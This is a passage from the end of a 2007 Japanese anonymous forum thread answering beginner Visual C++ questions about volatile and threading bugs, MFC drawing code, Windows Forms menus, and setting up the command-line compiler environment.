0987デフォルトの名無しさん
2007/04/12(木) 15:43:40volatileをつけてみましたが一緒でした
同期オブジェクトはCCriticalSectionでいいのでしょうか?
CCriticalSectionのオブジェクトを作ろうとしたのですが
error C2501: 'CCriticalSection' : 識別名を宣言するのに、型が指定されていません。
とでます
0988デフォルトの名無しさん
2007/04/12(木) 15:45:07DebugでうまくいってReleaseでうまくいかないケースは
最適化の影響か、領域破壊バグの可能性が高い。
まずは>>985のvolatileを入れるべきとこ探してみたら。
0989デフォルトの名無しさん
2007/04/12(木) 15:46:40Releaseで最適化切ってリビルドして実行してみたら
0990デフォルトの名無しさん
2007/04/12(木) 17:25:38俺はVisualC++6.0買った時、1年位手をつけずに放置した。
0991デフォルトの名無しさん
2007/04/12(木) 17:33:19// TODO: この場所にネイティブ データ用の描画コードを追加します。
の後に
pDC->MoveTo(100,100);
pDC->LineTo(300,300);
と書いてもコンパイルできません。
pDC->TextOut(0,0,"ようこそ");
と書いてもコンパイルできません。
本ではそう書いてあるのですが何故でしょうか?
プロジェクトはMFCアプリケーションのデフォルトで作りました。
0992デフォルトの名無しさん
2007/04/12(木) 17:38:45エラーメッセージをどうぞ。
0993デフォルトの名無しさん
2007/04/12(木) 17:42:16/*pDC*/のコメントを外さないといけないようです。
0994デフォルトの名無しさん
2007/04/12(木) 18:27:48つ変数の未初期化
0995デフォルトの名無しさん
2007/04/12(木) 21:29:58CCriticalSectionを使うためのヘッダファイルが指定してないんだろうな。
でも、この場合CCriticalSectionは適さない。
だって排他制御したいわけじゃないよね。
俺も変数の初期化とvolatile関係と思う。
volatileがどうしても駄目ならそこの関数の最適化を制限するとか。
#pragmaで指定でできるはず。
変数じゃなくて同期オブジェクトを使いたいなら、同期イベントがいいんじゃない。
MFCならCEvent。
ところでスレッドをたくさん使うんですね。
0996デフォルトの名無しさん
2007/04/12(木) 21:55:35ウィンドウズフォームアプリケーションで
MainMenuが表示されません
Formのデザイン画面でもFormの下の方に
ちょこっと表示されるだけで
デバッグ開始すると消えます。
どうすれば表示されるようになるのでしょうか
0997デフォルトの名無しさん
2007/04/12(木) 22:49:42コマンドラインコンパイラを使いたくて、
使用前に必要な手続きであるらしい下のバッチファイルを一発かましています。
C:\Program Files\Microsoft Visual Studio 8\VC\bin\vcvars32.bat
ところでこの手続きPCを起動するたび(?)にやり直しになるんですが、
効果を持続させる方法はないでしょうか。
というかこの手続きは何をしているのでしょうか。
0998デフォルトの名無しさん
2007/04/12(木) 23:05:51内容についてはvcvars32.batの中身を見ればいいさ。
いいやり方は知らない。
いまちょっくらためしたら出来た。
適当にショートカットを作って、そのプロパティで
リンク先を
%windir%\system32\cmd.exe /k "C:\Program Files\Microsoft Visual Studio 8\Common7\Tools\vsvars32.bat"
作業フォルダを
E:\work2
としたらできてるっぽい。
当然スペルは適当に直せよ。
無論コマンドプロンプトを出すときはこのショートカットを使え。ショートカット
実際にコマンドラインコンパイラが動くかは試してねーけどよ。
0999デフォルトの名無しさん
2007/04/12(木) 23:09:05コマンドプロンプトの起動を、
スタート→プログラム→Visual C++ 2005 Express Edition→Visual Studio Tools
→Visual Studio 2005 コマンド プロンプトから行うようにしろ。
10011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。